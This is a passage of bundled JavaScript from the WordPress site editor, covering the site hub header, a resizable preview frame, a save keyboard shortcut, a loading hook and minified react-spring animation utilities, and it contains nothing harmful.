          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(site_icon, {
            className: "edit-site-layout__view-mode-toggle-icon"
          })
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
          className: "edit-site-site-hub__title",
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            __next40pxDefaultSize: true,
            variant: "link",
            href: homeUrl,
            target: "_blank",
            label: (0,external_wp_i18n_namespaceObject.__)('View site (opens in a new tab)'),
            children: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(siteTitle)
          })
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
          spacing: 0,
          expanded: false,
          className: "edit-site-site-hub__actions",
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            __next40pxDefaultSize: true,
            className: "edit-site-site-hub_toggle-command-center",
            icon: library_search,
            onClick: () => openCommandCenter(),
            label: (0,external_wp_i18n_namespaceObject.__)('Open command palette'),
            shortcut: external_wp_keycodes_namespaceObject.displayShortcut.primary('k')
          })
        })]
      })]
    })
  });
}));

;// ./node_modules/@wordpress/edit-site/build-module/components/resizable-frame/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */



const {
  useLocation: resizable_frame_useLocation,
  useHistory: resizable_frame_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);

// Removes the inline styles in the drag handles.
const HANDLE_STYLES_OVERRIDE = {
  position: undefined,
  userSelect: undefined,
  cursor: undefined,
  width: undefined,
  height: undefined,
  top: undefined,
  right: undefined,
  bottom: undefined,
  left: undefined
};

// The minimum width of the frame (in px) while resizing.
const FRAME_MIN_WIDTH = 320;
// The reference width of the frame (in px) used to calculate the aspect ratio.
const FRAME_REFERENCE_WIDTH = 1300;
// 9 : 19.5 is the target aspect ratio enforced (when possible) while resizing.
const FRAME_TARGET_ASPECT_RATIO = 9 / 19.5;
// The minimum distance (in px) between the frame resize handle and the
// viewport's edge. If the frame is resized to be closer to the viewport's edge
// than this distance, then "canvas mode" will be enabled.
const SNAP_TO_EDIT_CANVAS_MODE_THRESHOLD = 200;
// Default size for the `frameSize` state.
const INITIAL_FRAME_SIZE = {
  width: '100%',
  height: '100%'
};
function calculateNewHeight(width, initialAspectRatio) {
  const lerp = (a, b, amount) => {
    return a + (b - a) * amount;
  };

  // Calculate the intermediate aspect ratio based on the current width.
  const lerpFactor = 1 - Math.max(0, Math.min(1, (width - FRAME_MIN_WIDTH) / (FRAME_REFERENCE_WIDTH - FRAME_MIN_WIDTH)));

  // Calculate the height based on the intermediate aspect ratio
  // ensuring the frame arrives at the target aspect ratio.
  const intermediateAspectRatio = lerp(initialAspectRatio, FRAME_TARGET_ASPECT_RATIO, lerpFactor);
  return width / intermediateAspectRatio;
}
function ResizableFrame({
  isFullWidth,
  isOversized,
  setIsOversized,
  isReady,
  children,
  /** The default (unresized) width/height of the frame, based on the space available in the viewport. */
  defaultSize,
  innerContentStyle
}) {
  const history = resizable_frame_useHistory();
  const {
    path,
    query
  } = resizable_frame_useLocation();
  const {
    canvas = 'view'
  } = query;
  const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
  const [frameSize, setFrameSize] = (0,external_wp_element_namespaceObject.useState)(INITIAL_FRAME_SIZE);
  // The width of the resizable frame when a new resize gesture starts.
  const [startingWidth, setStartingWidth] = (0,external_wp_element_namespaceObject.useState)();
  const [isResizing, setIsResizing] = (0,external_wp_element_namespaceObject.useState)(false);
  const [shouldShowHandle, setShouldShowHandle] = (0,external_wp_element_namespaceObject.useState)(false);
  const [resizeRatio, setResizeRatio] = (0,external_wp_element_namespaceObject.useState)(1);
  const FRAME_TRANSITION = {
    type: 'tween',
    duration: isResizing ? 0 : 0.5
  };
  const frameRef = (0,external_wp_element_namespaceObject.useRef)(null);
  const resizableHandleHelpId = (0,external_wp_compose_namespaceObject.useInstanceId)(ResizableFrame, 'edit-site-resizable-frame-handle-help');
  const defaultAspectRatio = defaultSize.width / defaultSize.height;
  const isBlockTheme = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentTheme
    } = select(external_wp_coreData_namespaceObject.store);
    return getCurrentTheme()?.is_block_theme;
  }, []);
  const handleResizeStart = (_event, _direction, ref) => {
    // Remember the starting width so we don't have to get `ref.offsetWidth` on
    // every resize event thereafter, which will cause layout thrashing.
    setStartingWidth(ref.offsetWidth);
    setIsResizing(true);
  };

  // Calculate the frame size based on the window width as its resized.
  const handleResize = (_event, _direction, _ref, delta) => {
    const normalizedDelta = delta.width / resizeRatio;
    const deltaAbs = Math.abs(normalizedDelta);
    const maxDoubledDelta = delta.width < 0 // is shrinking
    ? deltaAbs : (defaultSize.width - startingWidth) / 2;
    const deltaToDouble = Math.min(deltaAbs, maxDoubledDelta);
    const doubleSegment = deltaAbs === 0 ? 0 : deltaToDouble / deltaAbs;
    const singleSegment = 1 - doubleSegment;
    setResizeRatio(singleSegment + doubleSegment * 2);
    const updatedWidth = startingWidth + delta.width;
    setIsOversized(updatedWidth > defaultSize.width);

    // Width will be controlled by the library (via `resizeRatio`),
    // so we only need to update the height.
    setFrameSize({
      height: isOversized ? '100%' : calculateNewHeight(updatedWidth, defaultAspectRatio)
    });
  };
  const handleResizeStop = (_event, _direction, ref) => {
    setIsResizing(false);
    if (!isOversized) {
      return;
    }
    setIsOversized(false);
    const remainingWidth = ref.ownerDocument.documentElement.offsetWidth - ref.offsetWidth;
    if (remainingWidth > SNAP_TO_EDIT_CANVAS_MODE_THRESHOLD || !isBlockTheme) {
      // Reset the initial aspect ratio if the frame is resized slightly
      // above the sidebar but not far enough to trigger full screen.
      setFrameSize(INITIAL_FRAME_SIZE);
    } else {
      // Trigger full screen if the frame is resized far enough to the left.
      history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, {
        canvas: 'edit'
      }), {
        transition: 'canvas-mode-edit-transition'
      });
    }
  };

  // Handle resize by arrow keys
  const handleResizableHandleKeyDown = event => {
    if (!['ArrowLeft', 'ArrowRight'].includes(event.key)) {
      return;
    }
    event.preventDefault();
    const step = 20 * (event.shiftKey ? 5 : 1);
    const delta = step * (event.key === 'ArrowLeft' ? 1 : -1) * ((0,external_wp_i18n_namespaceObject.isRTL)() ? -1 : 1);
    const newWidth = Math.min(Math.max(FRAME_MIN_WIDTH, frameRef.current.resizable.offsetWidth + delta), defaultSize.width);
    setFrameSize({
      width: newWidth,
      height: calculateNewHeight(newWidth, defaultAspectRatio)
    });
  };
  const frameAnimationVariants = {
    default: {
      flexGrow: 0,
      height: frameSize.height
    },
    fullWidth: {
      flexGrow: 1,
      height: frameSize.height
    }
  };
  const resizeHandleVariants = {
    hidden: {
      opacity: 0,
      ...((0,external_wp_i18n_namespaceObject.isRTL)() ? {
        right: 0
      } : {
        left: 0
      })
    },
    visible: {
      opacity: 1,
      // Account for the handle's width.
      ...((0,external_wp_i18n_namespaceObject.isRTL)() ? {
        right: -14
      } : {
        left: -14
      })
    },
    active: {
      opacity: 1,
      // Account for the handle's width.
      ...((0,external_wp_i18n_namespaceObject.isRTL)() ? {
        right: -14
      } : {
        left: -14
      }),
      scaleY: 1.3
    }
  };
  const currentResizeHandleVariant = (() => {
    if (isResizing) {
      return 'active';
    }
    return shouldShowHandle ? 'visible' : 'hidden';
  })();
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ResizableBox, {
    as: external_wp_components_namespaceObject.__unstableMotion.div,
    ref: frameRef,
    initial: false,
    variants: frameAnimationVariants,
    animate: isFullWidth ? 'fullWidth' : 'default',
    onAnimationComplete: definition => {
      if (definition === 'fullWidth') {
        setFrameSize({
          width: '100%',
          height: '100%'
        });
      }
    },
    whileHover: canvas === 'view' && isBlockTheme ? {
      scale: 1.005,
      transition: {
        duration: disableMotion ? 0 : 0.5,
        ease: 'easeOut'
      }
    } : {},
    transition: FRAME_TRANSITION,
    size: frameSize,
    enable: {
      top: false,
      bottom: false,
      // Resizing will be disabled until the editor content is loaded.
      ...((0,external_wp_i18n_namespaceObject.isRTL)() ? {
        right: isReady,
        left: false
      } : {
        left: isReady,
        right: false
      }),
      topRight: false,
      bottomRight: false,
      bottomLeft: false,
      topLeft: false
    },
    resizeRatio: resizeRatio,
    handleClasses: undefined,
    handleStyles: {
      left: HANDLE_STYLES_OVERRIDE,
      right: HANDLE_STYLES_OVERRIDE
    },
    minWidth: FRAME_MIN_WIDTH,
    maxWidth: isFullWidth ? '100%' : '150%',
    maxHeight: "100%",
    onFocus: () => setShouldShowHandle(true),
    onBlur: () => setShouldShowHandle(false),
    onMouseOver: () => setShouldShowHandle(true),
    onMouseOut: () => setShouldShowHandle(false),
    handleComponent: {
      [(0,external_wp_i18n_namespaceObject.isRTL)() ? 'right' : 'left']: canvas === 'view' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, {
          text: (0,external_wp_i18n_namespaceObject.__)('Drag to resize'),
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.button, {
            role: "separator",
            "aria-orientation": "vertical",
            className: dist_clsx('edit-site-resizable-frame__handle', {
              'is-resizing': isResizing
            }),
            variants: resizeHandleVariants,
            animate: currentResizeHandleVariant,
            "aria-label": (0,external_wp_i18n_namespaceObject.__)('Drag to resize'),
            "aria-describedby": resizableHandleHelpId,
            "aria-valuenow": frameRef.current?.resizable?.offsetWidth || undefined,
            "aria-valuemin": FRAME_MIN_WIDTH,
            "aria-valuemax": defaultSize.width,
            onKeyDown: handleResizableHandleKeyDown,
            initial: "hidden",
            exit: "hidden",
            whileFocus: "active",
            whileHover: "active"
          }, "handle")
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
          hidden: true,
          id: resizableHandleHelpId,
          children: (0,external_wp_i18n_namespaceObject.__)('Use left and right arrow keys to resize the canvas. Hold shift to resize in larger increments.')
        })]
      })
    },
    onResizeStart: handleResizeStart,
    onResize: handleResize,
    onResizeStop: handleResizeStop,
    className: dist_clsx('edit-site-resizable-frame__inner', {
      'is-resizing': isResizing
    }),
    showHandle: false // Do not show the default handle, as we're using a custom one.
    ,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "edit-site-resizable-frame__inner-content",
      style: innerContentStyle,
      children: children
    })
  });
}
/* harmony default export */ const resizable_frame = (ResizableFrame);

;// external ["wp","keyboardShortcuts"]
const external_wp_keyboardShortcuts_namespaceObject = window["wp"]["keyboardShortcuts"];
;// ./node_modules/@wordpress/edit-site/build-module/components/save-keyboard-shortcut/index.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */

const shortcutName = 'core/edit-site/save';

/**
 * Register the save keyboard shortcut in view mode.
 *
 * @return {null} Returns null.
 */
function SaveKeyboardShortcut() {
  const {
    __experimentalGetDirtyEntityRecords,
    isSavingEntityRecord
  } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_coreData_namespaceObject.store);
  const {
    hasNonPostEntityChanges,
    isPostSavingLocked
  } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_editor_namespaceObject.store);
  const {
    savePost
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_editor_namespaceObject.store);
  const {
    setIsSaveViewOpened
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  const {
    registerShortcut,
    unregisterShortcut
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_keyboardShortcuts_namespaceObject.store);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    registerShortcut({
      name: shortcutName,
      category: 'global',
      description: (0,external_wp_i18n_namespaceObject.__)('Save your changes.'),
      keyCombination: {
        modifier: 'primary',
        character: 's'
      }
    });
    return () => {
      unregisterShortcut(shortcutName);
    };
  }, [registerShortcut, unregisterShortcut]);
  (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/edit-site/save', event => {
    event.preventDefault();
    const dirtyEntityRecords = __experimentalGetDirtyEntityRecords();
    const hasDirtyEntities = !!dirtyEntityRecords.length;
    const isSaving = dirtyEntityRecords.some(record => isSavingEntityRecord(record.kind, record.name, record.key));
    if (!hasDirtyEntities || isSaving) {
      return;
    }
    if (hasNonPostEntityChanges()) {
      setIsSaveViewOpened(true);
    } else if (!isPostSavingLocked()) {
      savePost();
    }
  });
  return null;
}

;// ./node_modules/@wordpress/edit-site/build-module/components/layout/hooks.js
/**
 * WordPress dependencies
 */



const MAX_LOADING_TIME = 10000; // 10 seconds

function useIsSiteEditorLoading() {
  const [loaded, setLoaded] = (0,external_wp_element_namespaceObject.useState)(false);
  const inLoadingPause = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const hasResolvingSelectors = select(external_wp_coreData_namespaceObject.store).hasResolvingSelectors();
    return !loaded && !hasResolvingSelectors;
  }, [loaded]);

  /*
   * If the maximum expected loading time has passed, we're marking the
   * editor as loaded, in order to prevent any failed requests from blocking
   * the editor canvas from appearing.
   */
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    let timeout;
    if (!loaded) {
      timeout = setTimeout(() => {
        setLoaded(true);
      }, MAX_LOADING_TIME);
    }
    return () => {
      clearTimeout(timeout);
    };
  }, [loaded]);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (inLoadingPause) {
      /*
       * We're using an arbitrary 100ms timeout here to catch brief
       * moments without any resolving selectors that would result in
       * displaying brief flickers of loading state and loaded state.
       *
       * It's worth experimenting with different values, since this also
       * adds 100ms of artificial delay after loading has finished.
       */
      const ARTIFICIAL_DELAY = 100;
      const timeout = setTimeout(() => {
        setLoaded(true);
      }, ARTIFICIAL_DELAY);
      return () => {
        clearTimeout(timeout);
      };
    }
  }, [inLoadingPause]);
  return !loaded;
}

;// ./node_modules/@react-spring/rafz/dist/esm/index.js
var esm_f=esm_l(),esm_n=e=>esm_c(e,esm_f),esm_m=esm_l();esm_n.write=e=>esm_c(e,esm_m);var esm_d=esm_l();esm_n.onStart=e=>esm_c(e,esm_d);var esm_h=esm_l();esm_n.onFrame=e=>esm_c(e,esm_h);var esm_p=esm_l();esm_n.onFinish=e=>esm_c(e,esm_p);var esm_i=[];esm_n.setTimeout=(e,t)=>{let a=esm_n.now()+t,o=()=>{let F=esm_i.findIndex(z=>z.cancel==o);~F&&esm_i.splice(F,1),esm_u-=~F?1:0},s={time:a,handler:e,cancel:o};return esm_i.splice(esm_w(a),0,s),esm_u+=1,esm_v(),s};var esm_w=e=>~(~esm_i.findIndex(t=>t.time>e)||~esm_i.length);esm_n.cancel=e=>{esm_d.delete(e),esm_h.delete(e),esm_p.delete(e),esm_f.delete(e),esm_m.delete(e)};esm_n.sync=e=>{T=!0,esm_n.batchedUpdates(e),T=!1};esm_n.throttle=e=>{let t;function a(){try{e(...t)}finally{t=null}}function o(...s){t=s,esm_n.onStart(a)}return o.handler=e,o.cancel=()=>{esm_d.delete(a),t=null},o};var esm_y=typeof window<"u"?window.requestAnimationFrame:()=>{};esm_n.use=e=>esm_y=e;esm_n.now=typeof performance<"u"?()=>performance.now():Date.now;esm_n.batchedUpdates=e=>e();esm_n.catch=console.error;esm_n.frameLoop="always";esm_n.advance=()=>{esm_n.frameLoop!=="demand"?console.warn("Cannot call the manual advancement of rafz whilst frameLoop is not set as demand"):esm_x()};var esm_r=-1,esm_u=0,T=!1;function esm_c(e,t){T?(t.delete(e),e(0)):(t.add(e),esm_v())}function esm_v(){esm_r<0&&(esm_r=0,esm_n.frameLoop!=="demand"&&esm_y(esm_b))}function esm_R(){esm_r=-1}function esm_b(){~esm_r&&(esm_y(esm_b),esm_n.batchedUpdates(esm_x))}function esm_x(){let e=esm_r;esm_r=esm_n.now();let t=esm_w(esm_r);if(t&&(Q(esm_i.splice(0,t),a=>a.handler()),esm_u-=t),!esm_u){esm_R();return}esm_d.flush(),esm_f.flush(e?Math.min(64,esm_r-e):16.667),esm_h.flush(),esm_m.flush(),esm_p.flush()}function esm_l(){let e=new Set,t=e;return{add(a){esm_u+=t==e&&!e.has(a)?1:0,e.add(a)},delete(a){return esm_u-=t==e&&e.has(a)?1:0,e.delete(a)},flush(a){t.size&&(e=new Set,esm_u-=t.size,Q(t,o=>o(a)&&e.add(o)),esm_u+=e.size,t=e)}}}function Q(e,t){e.forEach(a=>{try{t(a)}catch(o){esm_n.catch(o)}})}var esm_S={count(){return esm_u},isRunning(){return esm_r>=0},clear(){esm_r=-1,esm_i=[],esm_d=esm_l(),esm_f=esm_l(),esm_h=esm_l(),esm_m=esm_l(),esm_p=esm_l(),esm_u=0}};

// EXTERNAL MODULE: external "React"
var external_React_ = __webpack_require__(1609);
var external_React_namespaceObject = /*#__PURE__*/__webpack_require__.t(external_React_, 2);
;// ./node_modules/@react-spring/shared/dist/esm/index.js
var ze=Object.defineProperty;var Le=(e,t)=>{for(var r in t)ze(e,r,{get:t[r],enumerable:!0})};var dist_esm_p={};Le(dist_esm_p,{assign:()=>U,colors:()=>dist_esm_c,createStringInterpolator:()=>esm_k,skipAnimation:()=>ee,to:()=>J,willAdvance:()=>dist_esm_S});function Y(){}var mt=(e,t,r)=>Object.defineProperty(e,t,{value:r,writable:!0,configurable:!0}),dist_esm_l={arr:Array.isArray,obj:e=>!!e&&e.constructor.name==="Object",fun:e=>typeof e=="function",str:e=>typeof e=="string",num:e=>typeof e=="number",und:e=>e===void 0};function bt(e,t){if(dist_esm_l.arr(e)){if(!dist_esm_l.arr(t)||e.length!==t.length)return!1;for(let r=0;r<e.length;r++)if(e[r]!==t[r])return!1;return!0}return e===t}var esm_Ve=(e,t)=>e.forEach(t);function xt(e,t,r){if(dist_esm_l.arr(e)){for(let n=0;n<e.length;n++)t.call(r,e[n],`${n}`);return}for(let n in e)e.hasOwnProperty(n)&&t.call(r,e[n],n)}var ht=e=>dist_esm_l.und(e)?[]:dist_esm_l.arr(e)?e:[e];function Pe(e,t){if(e.size){let r=Array.from(e);e.clear(),esm_Ve(r,t)}}var yt=(e,...t)=>Pe(e,r=>r(...t)),dist_esm_h=()=>typeof window>"u"||!window.navigator||/ServerSideRendering|^Deno\//.test(window.navigator.userAgent);var esm_k,J,dist_esm_c=null,ee=!1,dist_esm_S=Y,U=e=>{e.to&&(J=e.to),e.now&&(esm_n.now=e.now),e.colors!==void 0&&(dist_esm_c=e.colors),e.skipAnimation!=null&&(ee=e.skipAnimation),e.createStringInterpolator&&(esm_k=e.createStringInterpolator),e.requestAnimationFrame&&esm_n.use(e.requestAnimationFrame),e.batchedUpdates&&(esm_n.batchedUpdates=e.batchedUpdates),e.willAdvance&&(dist_esm_S=e.willAdvance),e.frameLoop&&(esm_n.frameLoop=e.frameLoop)};var esm_E=new Set,dist_esm_u=[],esm_H=[],A=0,qe={get idle(){return!esm_E.size&&!dist_esm_u.length},start(e){A>e.priority?(esm_E.add(e),esm_n.onStart($e)):(te(e),esm_n(B))},advance:B,sort(e){if(A)esm_n.onFrame(()=>qe.sort(e));else{let t=dist_esm_u.indexOf(e);~t&&(dist_esm_u.splice(t,1),re(e))}},clear(){dist_esm_u=[],esm_E.clear()}};function $e(){esm_E.forEach(te),esm_E.clear(),esm_n(B)}function te(e){dist_esm_u.includes(e)||re(e)}function re(e){dist_esm_u.splice(Ge(dist_esm_u,t=>t.priority>e.priority),0,e)}function B(e){let t=esm_H;for(let r=0;r<dist_esm_u.length;r++){let n=dist_esm_u[r];A=n.priority,n.idle||(dist_esm_S(n),n.advance(e),n.idle||t.push(n))}return A=0,esm_H=dist_esm_u,esm_H.length=0,dist_esm_u=t,dist_esm_u.length>0}function Ge(e,t){let r=e.findIndex(t);return r<0?e.length:r}var ne=(e,t,r)=>Math.min(Math.max(r,e),t);var It={transparent:0,aliceblue:4042850303,antiquewhite:4209760255,aqua:16777215,aquamarine:2147472639,azure:4043309055,beige:4126530815,bisque:4293182719,black:255,blanchedalmond:4293643775,blue:65535,blueviolet:2318131967,brown:2771004159,burlywood:3736635391,burntsienna:3934150143,cadetblue:1604231423,chartreuse:2147418367,chocolate:3530104575,coral:4286533887,cornflowerblue:1687547391,cornsilk:4294499583,crimson:3692313855,cyan:16777215,darkblue:35839,darkcyan:9145343,darkgoldenrod:3095792639,darkgray:2846468607,darkgreen:6553855,darkgrey:2846468607,darkkhaki:3182914559,darkmagenta:2332068863,darkolivegreen:1433087999,darkorange:4287365375,darkorchid:2570243327,darkred:2332033279,darksalmon:3918953215,darkseagreen:2411499519,darkslateblue:1211993087,darkslategray:793726975,darkslategrey:793726975,darkturquoise:13554175,darkviolet:2483082239,deeppink:4279538687,deepskyblue:12582911,dimgray:1768516095,dimgrey:1768516095,dodgerblue:512819199,firebrick:2988581631,floralwhite:4294635775,forestgreen:579543807,fuchsia:4278255615,gainsboro:3705462015,ghostwhite:4177068031,gold:4292280575,goldenrod:3668254975,gray:2155905279,green:8388863,greenyellow:2919182335,grey:2155905279,honeydew:4043305215,hotpink:4285117695,indianred:3445382399,indigo:1258324735,ivory:4294963455,khaki:4041641215,lavender:3873897215,lavenderblush:4293981695,lawngreen:2096890111,lemonchiffon:4294626815,lightblue:2916673279,lightcoral:4034953471,lightcyan:3774873599,lightgoldenrodyellow:4210742015,lightgray:3553874943,lightgreen:2431553791,lightgrey:3553874943,lightpink:4290167295,lightsalmon:4288707327,lightseagreen:548580095,lightskyblue:2278488831,lightslategray:2005441023,lightslategrey:2005441023,lightsteelblue:2965692159,lightyellow:4294959359,lime:16711935,limegreen:852308735,linen:4210091775,magenta:4278255615,maroon:2147483903,mediumaquamarine:1724754687,mediumblue:52735,mediumorchid:3126187007,mediumpurple:2473647103,mediumseagreen:1018393087,mediumslateblue:2070474495,mediumspringgreen:16423679,mediumturquoise:1221709055,mediumvioletred:3340076543,midnightblue:421097727,mintcream:4127193855,mistyrose:4293190143,moccasin:4293178879,navajowhite:4292783615,navy:33023,oldlace:4260751103,olive:2155872511,olivedrab:1804477439,orange:4289003775,orangered:4282712319,orchid:3664828159,palegoldenrod:4008225535,palegreen:2566625535,paleturquoise:2951671551,palevioletred:3681588223,papayawhip:4293907967,peachpuff:4292524543,peru:3448061951,pink:4290825215,plum:3718307327,powderblue:2967529215,purple:2147516671,rebeccapurple:1714657791,red:4278190335,rosybrown:3163525119,royalblue:1097458175,saddlebrown:2336560127,salmon:4202722047,sandybrown:4104413439,seagreen:780883967,seashell:4294307583,sienna:2689740287,silver:3233857791,skyblue:2278484991,slateblue:1784335871,slategray:1887473919,slategrey:1887473919,snow:4294638335,springgreen:16744447,steelblue:1182971135,tan:3535047935,teal:8421631,thistle:3636451583,tomato:4284696575,turquoise:1088475391,violet:4001558271,wheat:4125012991,white:4294967295,whitesmoke:4126537215,yellow:4294902015,yellowgreen:2597139199};var dist_esm_d="[-+]?\\d*\\.?\\d+",esm_M=dist_esm_d+"%";function C(...e){return"\\(\\s*("+e.join(")\\s*,\\s*(")+")\\s*\\)"}var oe=new RegExp("rgb"+C(dist_esm_d,dist_esm_d,dist_esm_d)),fe=new RegExp("rgba"+C(dist_esm_d,dist_esm_d,dist_esm_d,dist_esm_d)),ae=new RegExp("hsl"+C(dist_esm_d,esm_M,esm_M)),ie=new RegExp("hsla"+C(dist_esm_d,esm_M,esm_M,dist_esm_d)),se=/^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,ue=/^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,le=/^#([0-9a-fA-F]{6})$/,esm_ce=/^#([0-9a-fA-F]{8})$/;function be(e){let t;return typeof e=="number"?e>>>0===e&&e>=0&&e<=4294967295?e:null:(t=le.exec(e))?parseInt(t[1]+"ff",16)>>>0:dist_esm_c&&dist_esm_c[e]!==void 0?dist_esm_c[e]:(t=oe.exec(e))?(dist_esm_y(t[1])<<24|dist_esm_y(t[2])<<16|dist_esm_y(t[3])<<8|255)>>>0:(t=fe.exec(e))?(dist_esm_y(t[1])<<24|dist_esm_y(t[2])<<16|dist_esm_y(t[3])<<8|me(t[4]))>>>0:(t=se.exec(e))?parseInt(t[1]+t[1]+t[2]+t[2]+t[3]+t[3]+"ff",16)>>>0:(t=esm_ce.exec(e))?parseInt(t[1],16)>>>0:(t=ue.exec(e))?parseInt(t[1]+t[1]+t[2]+t[2]+t[3]+t[3]+t[4]+t[4],16)>>>0:(t=ae.exec(e))?(de(esm_pe(t[1]),esm_z(t[2]),esm_z(t[3]))|255)>>>0:(t=ie.exec(e))?(de(esm_pe(t[1]),esm_z(t[2]),esm_z(t[3]))|me(t[4]))>>>0:null}function esm_j(e,t,r){return r<0&&(r+=1),r>1&&(r-=1),r<1/6?e+(t-e)*6*r:r<1/2?t:r<2/3?e+(t-e)*(2/3-r)*6:e}function de(e,t,r){let n=r<.5?r*(1+t):r+t-r*t,f=2*r-n,o=esm_j(f,n,e+1/3),i=esm_j(f,n,e),s=esm_j(f,n,e-1/3);return Math.round(o*255)<<24|Math.round(i*255)<<16|Math.round(s*255)<<8}function dist_esm_y(e){let t=parseInt(e,10);return t<0?0:t>255?255:t}function esm_pe(e){return(parseFloat(e)%360+360)%360/360}function me(e){let t=parseFloat(e);return t<0?0:t>1?255:Math.round(t*255)}function esm_z(e){let t=parseFloat(e);return t<0?0:t>100?1:t/100}function D(e){let t=be(e);if(t===null)return e;t=t||0;let r=(t&4278190080)>>>24,n=(t&16711680)>>>16,f=(t&65280)>>>8,o=(t&255)/255;return`rgba(${r}, ${n}, ${f}, ${o})`}var W=(e,t,r)=>{if(dist_esm_l.fun(e))return e;if(dist_esm_l.arr(e))return W({range:e,output:t,extrapolate:r});if(dist_esm_l.str(e.output[0]))return esm_k(e);let n=e,f=n.output,o=n.range||[0,1],i=n.extrapolateLeft||n.extrapolate||"extend",s=n.extrapolateRight||n.extrapolate||"extend",x=n.easing||(a=>a);return a=>{let F=He(a,o);return Ue(a,o[F],o[F+1],f[F],f[F+1],x,i,s,n.map)}};function Ue(e,t,r,n,f,o,i,s,x){let a=x?x(e):e;if(a<t){if(i==="identity")return a;i==="clamp"&&(a=t)}if(a>r){if(s==="identity")return a;s==="clamp"&&(a=r)}return n===f?n:t===r?e<=t?n:f:(t===-1/0?a=-a:r===1/0?a=a-t:a=(a-t)/(r-t),a=o(a),n===-1/0?a=-a:f===1/0?a=a+n:a=a*(f-n)+n,a)}function He(e,t){for(var r=1;r<t.length-1&&!(t[r]>=e);++r);return r-1}var Be=(e,t="end")=>r=>{r=t==="end"?Math.min(r,.999):Math.max(r,.001);let n=r*e,f=t==="end"?Math.floor(n):Math.ceil(n);return ne(0,1,f/e)},P=1.70158,L=P*1.525,xe=P+1,he=2*Math.PI/3,ye=2*Math.PI/4.5,V=e=>e<1/2.75?7.5625*e*e:e<2/2.75?7.5625*(e-=1.5/2.75)*e+.75:e<2.5/2.75?7.5625*(e-=2.25/2.75)*e+.9375:7.5625*(e-=2.625/2.75)*e+.984375,Lt={linear:e=>e,easeInQuad:e=>e*e,easeOutQuad:e=>1-(1-e)*(1-e),easeInOutQuad:e=>e<.5?2*e*e:1-Math.pow(-2*e+2,2)/2,easeInCubic:e=>e*e*e,easeOutCubic:e=>1-Math.pow(1-e,3),easeInOutCubic:e=>e<.5?4*e*e*e:1-Math.pow(-2*e+2,3)/2,easeInQuart:e=>e*e*e*e,easeOutQuart:e=>1-Math.pow(1-e,4),easeInOutQuart:e=>e<.5?8*e*e*e*e:1-Math.pow(-2*e+2,4)/2,easeInQuint:e=>e*e*e*e*e,easeOutQuint:e=>1-Math.pow(1-e,5),easeInOutQuint:e=>e<.5?16*e*e*e*e*e:1-Math.pow(-2*e+2,5)/2,easeInSine:e=>1-Math.cos(e*Math.PI/2),easeOutSine:e=>Math.sin(e*Math.PI/2),easeInOutSine:e=>-(Math.cos(Math.PI*e)-1)/2,easeInExpo:e=>e===0?0:Math.pow(2,10*e-10),easeOutExpo:e=>e===1?1:1-Math.pow(2,-10*e),easeInOutExpo:e=>e===0?0:e===1?1:e<.5?Math.pow(2,20*e-10)/2:(2-Math.pow(2,-20*e+10))/2,easeInCirc:e=>1-Math.sqrt(1-Math.pow(e,2)),easeOutCirc:e=>Math.sqrt(1-Math.pow(e-1,2)),easeInOutCirc:e=>e<.5?(1-Math.sqrt(1-Math.pow(2*e,2)))/2:(Math.sqrt(1-Math.pow(-2*e+2,2))+1)/2,easeInBack:e=>xe*e*e*e-P*e*e,easeOutBack:e=>1+xe*Math.pow(e-1,3)+P*Math.pow(e-1,2),easeInOutBack:e=>e<.5?Math.pow(2*e,2)*((L+1)*2*e-L)/2:(Math.pow(2*e-2,2)*((L+1)*(e*2-2)+L)+2)/2,easeInElastic:e=>e===0?0:e===1?1:-Math.pow(2,10*e-10)*Math.sin((e*10-10.75)*he),easeOutElastic:e=>e===0?0:e===1?1:Math.pow(2,-10*e)*Math.sin((e*10-.75)*he)+1,easeInOutElastic:e=>e===0?0:e===1?1:e<.5?-(Math.pow(2,20*e-10)*Math.sin((20*e-11.125)*ye))/2:Math.pow(2,-20*e+10)*Math.sin((20*e-11.125)*ye)/2+1,easeInBounce:e=>1-V(1-e),easeOutBounce:V,easeInOutBounce:e=>e<.5?(1-V(1-2*e))/2:(1+V(2*